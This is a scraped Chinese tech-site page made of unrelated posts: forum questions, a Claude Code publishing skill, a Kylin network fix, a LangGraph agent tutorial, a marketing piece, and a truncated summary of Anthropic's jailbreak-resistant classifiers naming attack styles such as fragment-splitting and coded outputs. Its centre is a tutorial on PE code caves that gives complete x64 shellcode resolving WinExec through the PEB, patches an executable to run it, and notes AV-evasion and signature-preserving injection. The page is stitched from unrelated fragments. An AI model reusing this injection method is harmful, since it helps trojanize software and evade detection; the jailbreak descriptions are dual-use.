求 Linux 论坛邀请码
求大佬好心发我一个 Linux 论坛的邀请码
xiaohack博客专注前沿科技动态与实用技术干货分享,涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容,提供开源项目教程、科技资讯日报、工具使用指南,助力开发者、AI 爱好者获取前沿技术与实战经验。
求大佬好心发我一个 Linux 论坛的邀请码
eXVuY2VubGl1QDE2My5jb20=] 或留下你的 E-mail简历地址 => Github
最近用 Claude Code 搞小项目是真的爽,落地页、小工具,十几分钟就能写出一个能用的网页。
但每次都会卡在同一个地方:写完之后,怎么让别人看到?
本地 localhost 只能自己看,发给朋友或客户就得上服务器、配域名、部署。
Vercel / Netlify 虽然不算难,但还是要切浏览器、登录、配置、等部署,流程一断就很容易放弃。
前两天在 GitHub 偶然翻到一个 Claude Code 的 skill:MyVibe,试了一下有点被惊到。
npx skills add ArcBlock/myvibe-skills
装完之后,直接在 Claude Code 里说一句
把这个项目发布到 MyVibe
或者用 /myvibe-publish
几秒钟就给你一个永久可访问的链接。
它做的事情刚好戳中痛点:
最爽的是:全程不离开终端。
写代码 → 一句命令 → 拿链接 → 发给别人,整个流程不到 10 秒。
发布后随便浏览,永久域名:
https://www.myvibe.so/zac/particle-stars
https://bhqax7b3nfmzrzuoibln3aqws4r6r2sfcpvleffq3eu.user.myvibe.so/ (这个网址能短点就好了)
现在随手上传了几个,后面有啥点子,直接发给 OpenClaw ,直接给我变成界面浏览。很不错,我的主页欢迎关注:
前段时间把家里的网络换成 unifi 的了,还是用 macmini 的 surge 作为网关开启 DHCP 服务。发现有个问题,在 unifi 的控制台看不到那些被 surge 接管的设备,有什么好的办法么?
假设现在有两台电脑,一台 A ,一台 B 。
我想要的效果是,手势插件在 A 上正常生效,但是在 B 上不会生效。
浏览器使用的是 Chrome ,并且因为我是多端使用,刚需同步功能,但是目前使用的这个手势插件的配置也会进行同步,
rt ,公司项目觉得蛮好的,我自己也有销售渠道,现在就是担心法律风险,问了豆包说利用下班时间搭一个完全不同的架构再独立重写,只要不用核心算法和复制代码就可以规避,想问问这样 ok 吗
PE代码洞是PE文件补丁的一种方式,PE补丁的本质是在不修改原始源代码的情况下,直接对可编译的可执行文件,进行二进制级别的修改,以改变程序的行为、修复漏洞或添加功能。 它和PE壳技术原理有着异曲同工之妙。本篇文章主要讲解代码洞的利用过程以及原理,从而进行更好的防御。
直白点来说,代码洞就是PE文件中一段全由零(0x00)或INT3断点(0xcc)、NOP(0x90)组成的空白区域,我们可以利用代码洞填充一些其他的字节码,但前提是该区域要有可执行权限,比如.text代码段,默认拥有执行权限。
这里要提出一个问题,即为什么会产生代码洞?
原因主要有两个:
SizeOfRawData(磁盘大小)小于其VirtualSize(内存大小),或者在节区的末尾留下一段未使用的、由零字节(0x00)填充的区域。这些连续的零字节区域就是代码洞。FileAlignment的值为512,那么就意味着每个节区在磁盘中的大小必须为512的整数倍
而text节的实际大小(VirtualSize)为:0x18B0,需要再补充0x150字节的数据,才能实现文件对其,而这0x150字节的数据则全由0x00进行填充,填充后的总大小为0x1A00,也就是SizeOfRawData的值,所以text区域的代码洞大小为0x150=347字节

直接查看text的末尾即可看到该段填充数据

稍微补充以下关于0x00和0x90,0xcc的区别:
0x00 是空字节,通常用于填充未使用的内存区域,或者在数据结构之间进行内存对齐。它是由于内存分配和未初始化数据的结果。0x90 是NOP指令,通常用于占位或修改程序执行流,常见于代码洞、调试过程中的控制流跳过,或恶意代码注入。0xcc是调试断点指令,用于中断程序执行,通常由调试器使用,如果0xCC出现在一个程序的空白区域,尤其是一些没有实际执行代码的区域,它就可以被视为代码洞的一部分。0x90和0xcc区域一般不会出现,所以我们在进行代码洞利用时,一般是寻找可执行节区的0x00区域。
在以上的内容中,讲述了PE代码洞的成因,以及如何定位代码洞,接下来我们要讲述,如何利用代码洞插入额外的shellcode,并进行执行
先说思路,后面再进行步骤演示,代码洞利用通常有两种方式:
JMP <代码洞地址> 指令。这需要计算相对偏移量。JMP <代码洞地址>payload有些讲究,内容略多,后文会进行细讲payload的最后一条为JMP指令,返回到原指令的下一条指令地址寻找代码洞的步骤上述内容已经做过了,不再赘述,这里直接寻找一个指令,该指令作为跳板指令,然后修改该指令为JMP <代码洞地址>,由于JMP指令会占用5字节,所以我们要寻找的指令长度必须>=5字节,比较合适的指令为JMP或者CALL,虽然这两个指令长度并非固定,如JMP中的短跳2字节,间接跳等,但这并非本文的重点,总之这两种指令是作为寻找跳板指令的最优解。
为了寻找合适的跳板指令,我们这里可以直接使用ida打开目标程序,由于ida默认只显示汇编代码(如 call sub_401000),不显示机器码(如 E8 05 00...),所以需要修改设置,方便确认指令长度,具体开启的步骤为:
0 改为 8。
那么在这时就可以直接看到汇编指令对应的机器码了

为了方便寻找,这里按下ALT+T,搜索CALL指令,选中Find ALL选项

在寻找替换指令时,需要注意,该指令一定要会执行,(可以通过ida进行分析),否则后面的操作就是白搭,这里我们选择一个call TargetFunction指令进行替换

.text:00000001400014BB E8 D0 FF FF FF call TargetFunction
这是我们已经基本确定了跳板指令,接下来在计算我们要修改CALL指令的偏移量以及代码洞中的payload执行完之后的回调地址(当前执行的下一条指令地址)。
计算当前指令地址:
首先计算当前指令的地址,当前exe文件的imagebase为140000000h,在ida中看到当前指令的VA地址为1400014BBB,那么当前跳板指令的相对虚拟地址RVA为0x14BB
计算公式:
0x1400014BB(VA) -0x140000000(基址) = **`0x14BB
有了指令RVA之后,然后再计算当前指令在磁盘文件中的地址,即文件偏移,计算公式为:文件偏移 = RVA - text 节VirtualAddress + PointerToRawDatatext节的VA为:1000h,PointerToRawData为600h,所以当前指令在磁盘文件中的地址为:0x14BB - 0x1000 + 0x600 = 0xABB,如果不确定计算结果可以通过010 editor进行验证,在010 editor中按下Ctrl+G,输入ABB,可以看到搜索的机器码为E8 D0 FF FF FF,和ida中查看的结果一致

以上计算步骤,得到了当前指令的RVA为:0x14BB,磁盘文件地址为:0xABB,接下来在计算代码洞的地址。
代码洞地址计算
代码洞的地址计算就相对简单了一些,代码洞的RVA地址为:VA+VirtualSize,VA为:1000h,VirtualSize为:18B0h,那么代码洞的RVA为:28B0h,JMP指令相对偏移计算
我们需要将当前call TargetFunction修改为JMP <代码洞地址>,就需要计算出当前指令以及代码洞之间的相对偏移量,相对偏移量的计算公式为:
偏移量 = 目标地址 - 源地址 - 5
0x14BB (跳板位置)0x28B0 (你的代码洞位置)5 字节 (E9 指令长度)0x13F0,然后此地址填充进JMP指令中,由于PE文件是小端序进行存储的,所以在16进制填充时需要填充的内容为E9 F0 13 00 00ida中,右击该指令,然后点击Patching-->Change byte,可以直接对当前机器码进行修改
修改后的内容为:

点击ok,然后依次点击Pathcing -- > apply pathes to...将修改后的PE文件保存到本地

我们需要编写一个payload,用于填充到代码洞中,该payload主要功能为:
跳转到被修改的指令的下一条地址中,从而使程序继续正常往下运行
这里采用汇编的方式编写payload代码,一下是对不同功能的代码进行了拆解:
保存现场,将关键进寄存器的值保存到栈中:
asm
pushfq
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
设置栈帧并对齐栈
asm
push rbp
mov rbp, rsp
sub rsp, 0x50 ; 预留足够的局部空间和影子空间
and rsp, -16 ; 16字节对齐
通过PEB(进程环境块)查找Kernel32.dll的基址
```asm
mov rax, [gs:0x60] ; RAX = PEB地址
mov rax, [rax + 0x18] ; RAX = PEB_LDR_DATA
mov rax, [rax + 0x20] ; RAX = InMemoryOrderModuleList第一个条目
find_k32_loop:
; 遍历已加载模块链表
mov rsi, [rax + 0x50] ; RSI = BaseDllName.Buffer(Unicode字符串指针)
test rsi, rsi ; 安全检查:确保指针有效
jz short next_mod
; 简化检查:检查"kernel32.dll"中的'3'字符(Unicode)
; "kernel32.dll"中'3'是第7个字符,Unicode偏移=6*2=0x0C
cmp word [rsi + 0x0C], 0x33 ; 0x33 = '3'的Unicode
je short found_k32
```
next_mod:
mov rax, [rax] ; 移动到链表下一个条目(Flink)
jmp find_k32_loop
found_k32:
mov rbx, [rax + 0x20] ; RBX = DllBase(Kernel32.dll基址)
**解析Kernel32.dll导出表, 定位WinExec函数地址**
; 获取PE头偏移
mov r8d, [rbx + 0x3C] ; R8D = e_lfanew(NT头偏移)
; 获取导出表RVA
mov r8d, [rbx + r8 + 0x88] ; R8D = 导出表RVA(DataDirectory[0])
add r8, rbx ; R8 = 导出表虚拟地址
; 获取函数名数组
mov r9d, [r8 + 0x20] ; R9D = AddressOfNames RVA
add r9, rbx ; R9 = 函数名数组地址
xor rdx, rdx ; RDX = 当前索引
find_winexec_loop:
; 遍历导出函数名
mov r10d, [r9 + rdx * 4] ; R10D = 函数名RVA
add r10, rbx ; R10 = 函数名字符串地址
; 比较字符串"WinExec"(7个字符)
mov rax, [r10] ; 读取前8字节
mov r11, 0x00FFFFFFFFFFFFFF ; 7字节掩码(忽略第8字节)
and rax, r11
mov r11, 0x636578456E6957 ; "WinExec"的小端十六进制
cmp rax, r11 ; 比较
je short found_winexec ; 找到匹配
inc rdx ; 下一个函数
jmp find_winexec_loop
found_winexec:
; 通过名称索引获取序号
mov r10d, [r8 + 0x24] ; AddressOfNameOrdinals RVA
add r10, rbx
movzx rdx, word [r10 + rdx * 2] ; 获取序号(零扩展)
; 通过序号获取函数地址
mov r10d, [r8 + 0x1C] ; AddressOfFunctions RVA
add r10, rbx
mov r10d, [r10 + rdx * 4] ; R10D = WinExec函数RVA
add r10, rbx ; R10 = WinExec实际地址
**调用WinExec执行计算器**
```asm
; 构建"calc.exe\0"字符串
xor rax, rax ; RAX清零
push rax ; 字符串终止符
mov rax, 0x6578652E636C6163 ; "calc.exe"(小端序)
push rax ; 压入字符串
; 设置参数(Windows x64调用约定:RCX, RDX, R8, R9)
mov rcx, rsp ; 参数1:lpCmdLine("calc.exe")
mov rdx, 5 ; 参数2:uCmdShow = SW_SHOW
; 调用约定要求:调用前分配32字节影子空间
sub rsp, 0x20 ; 分配影子空间
call r10 ; 调用WinExec
add rsp, 0x20 ; 清理影子空间
恢复原始环境
mov rsp, rbp ; 恢复栈指针
pop rbp ; 恢复基址指针
; 恢复所有寄存器(逆序)
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
pop rax
popfq
执行被修改的指令,并跳转到下一条指令的地址中,从而恢复程序运行
db 0xE8, 0xF1, 0xEA, 0xFF, 0xFF ; call 原始目标函数
db 0xE9, 0x1C, 0xEB, 0xFF, 0xFF ; jmp 返回原始位置
完整汇编代码为:
; 在内存中动态定位 Kernel32.dll,查找 WinExec 并弹出计算器
[BITS 64]
SECTION .text
global _start
_start:
; 1. 保存原始环境
pushfq
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
; 2. 建立新栈帧并进行 16 字节对齐
push rbp
mov rbp, rsp
sub rsp, 0x50 ; 预留足够的局部空间和 Shadow Space
and rsp, -16 ; 强制 16 字节对齐 (x64 API 调用必须)
; 3. 查找 Kernel32.dll 基址 (通过 PEB)
mov rax, [gs:0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB_LDR_DATA
mov rax, [rax + 0x20] ; RAX = InMemoryOrderModuleList (指向第一个模块)
find_k32_loop:
mov rsi, [rax + 0x50] ; RSI = BaseDllName.Buffer (Unicode 字符串指针)
test rsi, rsi ; 防御检查:如果指针为空则跳过
jz short next_mod
;'3' 在 "kernel32.dll" 的 Unicode 偏移是 0Ch (第7个字符)
cmp word [rsi + 0x0C], 0x33 ; 比较是否为 '3'
je short found_k32
next_mod:
mov rax, [rax] ; RAX = Flink (下一个模块)
jmp find_k32_loop
found_k32:
mov rbx, [rax + 0x20] ; RBX = DllBase (Kernel32 基址)
; 4. 解析导出表获取 WinExec
mov r8d, [rbx + 0x3C] ; R8D = NT Header Offset
mov r8d, [rbx + r8 + 0x88] ; R8D = Export Directory RVA
add r8, rbx ; R8 = Export Directory VA
mov r9d, [r8 + 0x20] ; R9D = AddressOfNames RVA
add r9, rbx ; R9 = AddressOfNames VA
xor rdx, rdx ; RDX = Name Index (从 0 开始计数)
find_winexec_loop:
mov r10d, [r9 + rdx * 4] ; R10D = 导出函数名 RVA
add r10, rbx ; R10 = 导出函数名 VA
; 比较字符串 "WinExec"
mov rax, [r10]
mov r11, 0x00FFFFFFFFFFFFFF ; 7 字节掩码 (WinExec 是 7 字符)
and rax, r11
mov r11, 0x636578456E6957 ; "WinExec" 的 Hex (小端序)
cmp rax, r11
je short found_winexec
inc rdx
jmp find_winexec_loop
found_winexec:
; 通过索引从 Ordinal Table 获取序号
mov r10d, [r8 + 0x24] ; AddressOfNameOrdinals RVA
add r10, rbx
movzx rdx, word [r10 + rdx * 2]
; 通过序号从 Address Table 获取函数地址
mov r10d, [r8 + 0x1C] ; AddressOfFunctions RVA
add r10, rbx
mov r10d, [r10 + rdx * 4] ; R10D = WinExec RVA
add r10, rbx ; R10 = WinExec 真实 VA
; 5. 执行 WinExec("calc.exe", 5)
xor rax, rax
push rax ; 放入 NULL 终止符
mov rax, 0x6578652E636C6163 ; "calc.exe"
push rax
mov rcx, rsp ; 参数 1: lpCmdLine (指向栈上的字符串)
mov rdx, 5 ; 参数 2: uCmdShow (SW_SHOW)
sub rsp, 0x20 ; 提供 32 字节 Shadow Space
call r10 ; 调用 WinExec
add rsp, 0x20 ; 清理 Shadow Space
; 6. 恢复现场
mov rsp, rbp
pop rbp
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
pop rax
popfq
; 补上被替换掉的 call TargetFunction
; 相对偏移 = 目标 - (当前指令地址 + 5)
; 计算: 1490 - (当前VA + 5)
db 0xE8, 0xF1, 0xEA, 0xFF, 0xFF
; 跳回主程序返回点
; 相对偏移 = 目标 - (当前指令地址 + 5)
; 偏移 = 14C0 - (2994 + 5) = -14D9 (hex)
db 0xE9, 0x1C, 0xEB, 0xFF, 0xFF ; jmp 1400014C0
然后将其命名为payload2.asm进行编译为二进制文件:
nasm -f bin payload2.asm -o payload2.bin
通过010 editro 复制为16进制

从此处进行插入,实际上从0x90处插入也可以,但为了方便后续计算,从0x00处插入更为简单

粘贴自16进制数据,不能直接ctrl+v进行粘贴

粘贴后的内容如下,然后ctrl+s保存

运行程序,弹出计算器,hello world正常运行

讲到这里,大家更关心的可能还是这种方式的规避能力如何,于是我将利用前后进行了一个对比,当然这里仅作为对比,不具备实战性的参考,因为在写入实际的shellcode后,其特征会有明显的差异。


在上文中尽量通过手工的方式进行代码洞利用,便于理解其中的原理,以及具体的操作过程,关于代码洞利用,这并不是一项新的技术,反而是早已成熟的方案,在github已可以找到多个成熟的工具,这里贴一些相关的工具:
PeInjector https://github.com/JonDoNym/peinjector代码洞利用的缺陷
--------
代码洞的仅通过不同节区之间的空隙填充shellcode,但有时候会遇到空隙大小不足以填充我们的shellcode,这时候可以采用新增一个节区的方式,但这种方式也存在弊端,即对PE文件的改动较大,大小与原文件不一致,通过代码洞不会改变原文件的大小,另外对于已签名的程序进行修改会破环程序的签名,但这也有相关的应对方法,由于PE文件的证书表不参与哈希计算,如果可以将shellcode填充进行证书表中,那么将不会破坏PE文件的证书,这种技术已有成熟的工具SigFlip。
第一次觉得论坛逆天的人这么多。原帖楼主前面吞吞吐吐不肯说真话,营造出一种“女方没问,我才没说”的假象。结果呢?->"婚前问过我爸有没有坐过牢,我说没有,一是我有私心,二是我认为她把这个事情看的太重要了,会闹很大,我想着不影响她就行了"
本来就是邻村,对方父母多少都有耳闻,这种事怎么可能瞒得住?
底下一堆人还在喷女方,拿她无业备考公务员说事,但这不是隐瞒的理由啊,而且那个女方考上研究生了,如果一无是处,原帖楼主也不会办婚礼,楼主的发言给人一种妥妥的精致利己者。
15 年前肇事逃逸+坐牢几个月,大抵就是醉驾出车祸被逮了,又不是什么不能说的天大的事,婚前坦诚说开,根本不会闹到现在这步。玻璃碎了就是碎了,再想圆回来,太难了。
在这寒冬中,让我感到温暖
半年前开源一个全新的前端 html 转 pdf 方案,被阮一峰老师最新一期《科技爱好者周刊》收录了,也算是这半年工作的一个小小里程碑。

核心特性
✨ 使用简单 - 前端一行代码就可以实现转 PDF 功能
🎨 纯前端实现 pdf 生成 - 无需服务器介入
💻 生成的是矢量 PDF- PDF 的文字可以搜索选中编辑,更小的文件体积,文字不会模糊
📱 精准的页面分割处理- 避免页面元素被切割
🚀 可生成上千页的 PDF 文件- 对比一般方案( html2canvas+jspdf ),提升了几百倍
📦 自定义页眉页脚- 可以根据需求,自定义页眉页脚
生成效果

在线体验
Git 仓库地址 (欢迎 Star⭐⭐⭐)
某些机器系统右下角的网络图标显示感叹号(如下图所示),但是网络又是正常使用的,我们该如何处理呢? 麒麟系统有个网络连通检测地址,会去测试 编辑 如下图所示: 执行以下命令,重启 网络连接性检测的默认网址 www.cnnic.net.cn 无法访问导致的。为了解决这个问题,将这个网址修改为可以正常访问的网址,例如 www.baidu.com ,或者内网里可以正常访问的网址。 修改配置文件: 重启NetworkManager服务( 本文由mdnice多平台发布【问题描述】
现象:

原因分析:
/etc/NetworkManager/NetworkManager.conf文件里定义的网址的连通性,不能连通该网址就会有相关的网络异常提示。【解决办法】
方法1:禁用网络连通检测
/etc/NetworkManager/NetworkManager.conf文件,如下图所示,在[connectivity]下方增加一行enabled=false内容。然后保存并关闭文件。sudo pluma /etc/NetworkManager/NetworkManager.conf
NetworkManager服务:sudo systemctl restart NetworkManager方法2:禁用网络连通检测
操作步骤
sudo pluma /etc/NetworkManager/NetworkManager.conf
找到网络连接性检测的相关设置,将网址 http://www.cnnic.net.cn 修改为 http://www.baidu.com ,然后保存并退出编辑,如下图所示:
或者重启操作系统):$ sudo systemctl restart NetworkManager
大家好,我是Java烘焙师,近半年重启了技术博客的更新,在春节前做个总结吧。 关于我:大厂架构师,有团队管理经验,热爱技术,平时喜欢思考总结。 写作初衷: 更新慢的原因:平时工作忙,只能在业余时间抽空写作,同时为了保证每篇原创文章的质量,会尽可能系统性地梳理文章主题方向,查缺补漏。 统计2025年+2026年1月发布的文章(2月7日统计): 其它文章如下: 累计发布了25篇文章,可以分成以下几类: side project应用实战,目前只写了一篇,还有很多内容可写。而且不止是树莓派,部署在云端也可以。 坚持业余时间创作。 让我们一起做长期主义者,慢慢变强吧!欢迎交流讨论。
出版级品质:这里得举几个例子来佐证,否则有吹牛的嫌疑2025年统计
文章目录
架构:“架构师必备”系列
Java
树莓派实战
2026展望
后续除了继续更新已有系列,还会尝试扩充新系列,比如AI应用、有意思的开源项目、踩坑分享、职场感悟等。
在之前的文章中,我们深入讲解了如何使用 LangChain + Ollama 构建本地大模型调用方案。 这时候,LangChain 的 今天,我们就来讲清楚: 在 LangChain 最新版本中,Agent API 已经全面升级,官方推荐使用 过去我们可能使用 Chain + Logic 组合来处理流程,但随着逻辑复杂度增加,线性写法很难维护、扩展和调试。 这组合起来,就形成了一个可控、有状态流程的智能 Agent。 StateGraph 是 LangGraph 的核心抽象,它表示一个具有全局状态和节点流转逻辑的图。 它非常适合把“复杂流程问题”映射为“图状态机”,无论是对话、工具调用还是多步骤任务。 简化后的 StateGraph 工作流程如下: 解释一下: 从 LangChain 最新版本开始,旧的 一个最简单的示例: 📌 重点说明: 实际上, 如果你希望在 Agent 内部实现更复杂的流程(如输入校验、分支工具调用、状态记录等),可以直接使用 StateGraph。 下面是一个包含两个节点的示例:通过 LLM 生成回答并记录状态。 在这个例子中: 你可以在图内使用更复杂的节点连接和条件分支。(docs.langchain.org.cn) 智能体的核心能力之一,就是记住之前的对话或操作历史。 LangGraph 提供了开箱即用的短期记忆机制,基于 检查点(checkpoint) 存储状态。以下是短期记忆的示例: 同一个 thread_id 下的状态会被持续保存,实现短期记忆,非常适合多轮对话场景。 在真实工程场景下,图式 Agent 的能力远不止示例那么简单: 可以在 Agent 内定义更多状态字段,比如用户偏好、执行路径、决策数据等: 调用 Agent 可以调用检索、代码执行、数据库查询等工具。 结合 LangSmith Trace 等可观测平台,可以: 大幅提高生产环境的可维护性。 如果说传统 Chain 是线性的能力组合,那么 StateGraph 就是有状态的全局控制流机; 在 Agent 需求越来越复杂的今天,单靠 Chain 已无法应对多步骤决策、逻辑分支和记忆维护,而 LangGraph 的图式设计正是为可控 Agent 而生。 如果你正在做: 那么,从 LangChain 到 LangGraph 的升级,将是你最值得投入的一条路线。
但是,随着业务需求不断增长,我们发现仅仅调用模型已经远远不够——我们希望构建具备条件判断、流程控制、工具调用以及状态记忆的智能 Agent。create_agent + LangGraph 的 StateGraph 就成为了真正面向工程的利器。什么是 LangGraph?为什么它是构建可控 Agent 的未来?如何在最新 API 下用 create_agent 和 StateGraph 构建有状态智能体?
一、为什么要用 LangGraph 构建 Agent?
create_agent 构建生产级智能体,并基于 LangGraph 对内部流程进行图结构编排。create_agent
是一个高阶接口,用于构建图式 Agent。它内部依赖 LangGraph 执行器,在一个状态图中逐步完成模型推理、工具调用、决策流跳转等逻辑。
而 LangGraph 的图结构 可以让我们:二、什么是 StateGraph?
每个节点本质上是一个函数,这个函数:StateGraph(StateType)
├── add_node(name, function)
├── add_edge(source, target)
└── compile()
→ graph.invoke({state input})三、新 API:
create_agent 如何使用?create_react_agent 已被废弃,统一使用 create_agent。from langchain.agents import create_agent
from langchain_openai import ChatOpenAI
model = ChatOpenAI(
model="qwen3:8b",
base_url="http://localhost:11434/v1",
api_key="your api key",
)
agent = create_agent(
model=model,
tools=[],
system_prompt="你是一个智能助手,负责处理用户请求。",
)
response = agent.invoke({
"messages": [{"role": "user", "content": "什么是 LangGraph?"}]
})
print(response)model 可以是任何支持工具调用的聊天模型tools 是 Agent 可调用的外部能力(如检索、代码执行等)system_prompt 是 Agent 的基础角色指令create_agent 内部会构建一个 StateGraph,并把模型 + 工具节点组合成可执行流程。四、结合 StateGraph:构建更复杂的图式 Agent
from typing import TypedDict, Annotated
from langchain_openai import ChatOpenAI
from langgraph.graph import StateGraph, END
from langgraph.graph.message import add_messages
from langchain_core.messages import HumanMessage
# 1. 定义全局状态
class ChatState(TypedDict):
messages: Annotated[list, add_messages]
# 2. 初始化模型
llm = ChatOpenAI(
model="qwen3:8b",
base_url="http://localhost:11434/v1",
api_key="your api key",
)
# 3. 定义节点
def chat_node(state: ChatState):
response = llm.invoke(state["messages"])
return {"messages": [response]}
# 4. 构建 StateGraph
graph = StateGraph(ChatState)
graph.add_node("chat", chat_node)
graph.set_entry_point("chat")
graph.add_edge("chat", END)
graph = graph.compile()
# 生成可视化图
with open("/Users/zhoupb/workspace-ai/atnk-ai/data/demo.png", "wb") as f:
f.write(graph.get_graph(xray=True).draw_mermaid_png())
# 5. 调用
result = graph.invoke(
{"messages": [HumanMessage(content="用一句话介绍什么是 LangGraph?")]},
)
print(result["messages"][-1].content)
chat_node,并更新消息状态五、记忆(Memory)如何集成?
from langgraph.checkpoint.memory import InMemorySaver
#...省略
# 使用检查点保存状态
checkpointer = InMemorySaver()
graph = graph.compile(checkpointer=checkpointer)
# 使用同一个 thread_id,触发“记忆”
config = {"configurable": {"thread_id": "local-chat"}}
# 第一轮
result = graph.invoke(
{"messages": [HumanMessage(content="用一句话介绍什么是 LangGraph?")]},
config=config
)
print(result["messages"][-1].content)
print("-" * 100)
# 第二轮(保留上下文)
result = graph.invoke(
{"messages": [HumanMessage(content="用一句话介绍它和 LangChain 的关系?")]},
config=config
)
print(result["messages"][-1].content)六、工程化建议:可控、可视化与部署

1️⃣ 自定义状态扩展
class CustomState(TypedDict):
messages: list
user_settings: dictcreate_agent 时,通过 state_schema 参数传入,Agent 就会自动维护这些字段。2️⃣ 集成工具能力
工具可以作为节点,或者直接传入 tools 列表,由 Agent 在执行过程中调用,显著增强实际能力。3️⃣ 可观测与调试
七、工程化细节总结
技术点 最新 API 构建 Agent create_agent()(替代旧的 create_react_agent)状态管理 用 StateGraph 定义全局状态,并流转节点逻辑记忆 基于 checkpoint 机制实现短期记忆自定义状态 可通过 state_schema 扩展可控流程 用节点 + 边 + Command 控制流程 八、结语:从链到图
如果说 Chain 是工具驱动流程片段,Graph 就是工程级的智能协同平台。
刚开始不知道怎么玩,看了下规则后,发现挺有趣的,有点上头,跟数独差不多
传送门: https://pipsgame.me/zh/?difficulty=hard&puzzle=H190

首页正文区有点太长了,因为右边个人信息卡片和导航都是固定的,不随浏览器走,所以看到下面就只能回到顶部或者手动滑回来,如果减少首页正文条目应该会好一些,现在应该是 50 条,可以看看减少到 20 和 30 是不是好点。
@Jimmy
国产音视频技术新突破:自主可控解决方案的崛起在信息技术自主创新浪潮的推动下,各类组织对音视频通信技术的要求已发生深刻变化。过去单纯追求功能完备的方案已难以满足当前环境,市场日益重视技术的国产化属性、安全可控性以及生态兼容能力。传统解决方案往往在适配国产软硬件体系、保障数据传输安全、支持多样化终端等方面存在局限,亟需新一代技术架构来填补这一空白。
全面适配国产化环境:打破生态壁垒为应对国产化信息技术生态的独特需求,一批专注于自主研发的企业推出了新一代音视频通信解决方案。这些方案以“自主可控、安全合规”为设计原则,致力于为政府、金融、能源及大型企业提供符合国产化要求的定制化服务。其中,代表性技术已实现与主流国产芯片平台(如鲲鹏、飞腾、龙芯、兆芯等)的深度适配,并全面兼容统信UOS、麒麟软件等国产操作系统。通过对底层媒体处理引擎的优化重构,确保了在不同硬件平台和操作系统上都能保持稳定的性能输出和流畅的用户体验,有效解决了跨平台兼容性难题。在音频设备适配方面,新一代解决方案提供了智能化的音频路由管理能力,支持在有线耳机、蓝牙设备、内置扬声器等多种音频输出方式间无缝切换。这一设计不仅提升了跨设备使用的便利性,也降低了在多终端场景下的配置复杂度。构建端到端安全体系:筑牢数据防护屏障在信息安全日益重要的今天,音视频通信平台必须具备多层次的安全防护能力。新一代解决方案从数据传输、存储到访问控制等多个维度构建了完整的安全体系。在数据传输层面,采用符合国家密码管理要求的加密算法,对音视频流、信令控制及文件传输等全过程进行加密保护,确保数据在传输过程中的机密性和完整性。同时,支持私有化部署模式,允许用户将系统部署在本地数据中心或专属云环境中,实现数据的完全自主管控。在访问控制方面,提供了细粒度的权限管理功能,管理员可根据组织架构和职责分工设置差异化的会议权限。结合动态水印、实名认证、参会密码等多重验证机制,有效防止信息泄露和未授权访问,特别适用于对保密性要求较高的政务、金融、司法等领域。优化网络适应能力:保障复杂环境下的通信质量实际应用环境中,网络条件往往存在较大差异。为应对这一挑战,新一代音视频技术引入了智能网络感知与自适应调节机制。系统能够实时监测网络带宽、延迟、抖动等指标,动态调整视频分辨率、帧率和编码参数,在网络波动时优先保障语音通信的连续性,确保在各种网络条件下都能提供可用的通信服务。针对网络丢包问题,采用了前向纠错、丢包重传等混合恢复技术,在网络丢包率达到一定阈值时仍能维持基本的通话功能。这一特性对于网络基础设施相对薄弱的地区、移动办公场景以及应急指挥等特殊环境具有重要价值。降低开发集成门槛:提供灵活易用的技术组件为加速技术落地进程,新一代解决方案提供了完善的开发支持体系。通过模块化的SDK设计和丰富的API接口,开发者可以根据实际需求灵活选择集成范围,快速将音视频能力嵌入现有业务系统中。同时,提供可高度自定义的UI组件库,支持界面风格、布局、功能的灵活配置,大幅降低了二次开发的工作量和技术门槛。全周期服务支持:助力项目顺利实施除了技术产品本身,服务团队还构建了覆盖需求分析、方案设计、开发集成、上线运维的全生命周期支持体系。提供包括开发文档、示例代码、集成指南在内的完整技术资料,并配备专业技术支持团队,为客户提供定制化的咨询服务和实施指导。针对特定行业的特殊需求,还可提供专项技术支持和联合开发服务,确保解决方案与业务场景的深度融合。展望未来随着信息技术应用创新产业的快速发展,具备自主知识产权、符合国家安全标准、适配国产化生态的音视频通信技术,将成为推动千行百业数字化转型的重要基础设施。未来,相关技术提供商将继续深化在国产化适配、安全增强、性能优化等方面的探索,拓展在远程协作、智慧教育、数字医疗、工业互联网等更多领域的应用,为构建安全可控的数字中国贡献力量。
大模型安全这事儿,说白了就是一场“攻防拉扯”:一边是越狱(jailbreak)天天整花活儿,试图绕过规则套取危险内容;另一边是模型厂商不断加护栏——但护栏加多了,用户又会骂:“我就问个正经问题,你咋也拒绝?” 😅 Anthropic 这篇研究讲的就是:如何在“更难被越狱”和“别乱拒绝正常请求”之间,找一个不那么反人类的平衡点。结论很炸裂:他们搞出了 Constitutional Classifiers++(下一代宪法分类器),把额外算力开销压到 约 1%,同时把误拒率砍到更低,还宣称目前没发现“通用越狱”(universal jailbreak)。 来,拆开看看它到底干了啥,为什么这次看起来不像“又一层更凶的拒绝器”,而更像一个真正能上生产的安全系统。 传统做法很多都像“保安看门人”:你说了敏感词?拦。你问了危险话题?拦。 Anthropic 的“宪法分类器”思路更像:给模型一套自然语言写的规则(constitution),用这些规则生成大量合成数据,再训练一个分类器去判断:这段输入/输出是不是在试图跨越红线。 他们给过一个典型边界:可以辅导大学化学作业,但不能协助合成受管制的危险化学品。 嗯。。。小D还知道有人发的关键词可以生成18+的内容,不过很快被修复了![得意] 第一代宪法分类器效果其实已经很能打:据文中描述,它把越狱成功率从 86% 压到 4.4%,相当于挡住了绝大多数会绕过模型内置安全训练的攻击。 但问题来了:好用 ≠ 好部署。 第一代强是强,但也有两笔现实成本: 更要命的是:他们还做过漏洞悬赏(bug bounty),结果还是被找到了一个“通用越狱”。 所以第二代的目标就很明确:要更抗打,还要更便宜,更别乱拒绝。 研究里点名了两类很典型、也很阴的攻击方式: 把危险信息拆成一段段“看起来人畜无害”的碎片,然后让模型在最后把碎片拼起来。 输出看起来很正常,但其实在“打暗号”。 更刺激的是:越狱不仅会骗过护栏,还会让模型能力出现波动。文中提到,在某些越狱方式影响下,GPQA Diamond 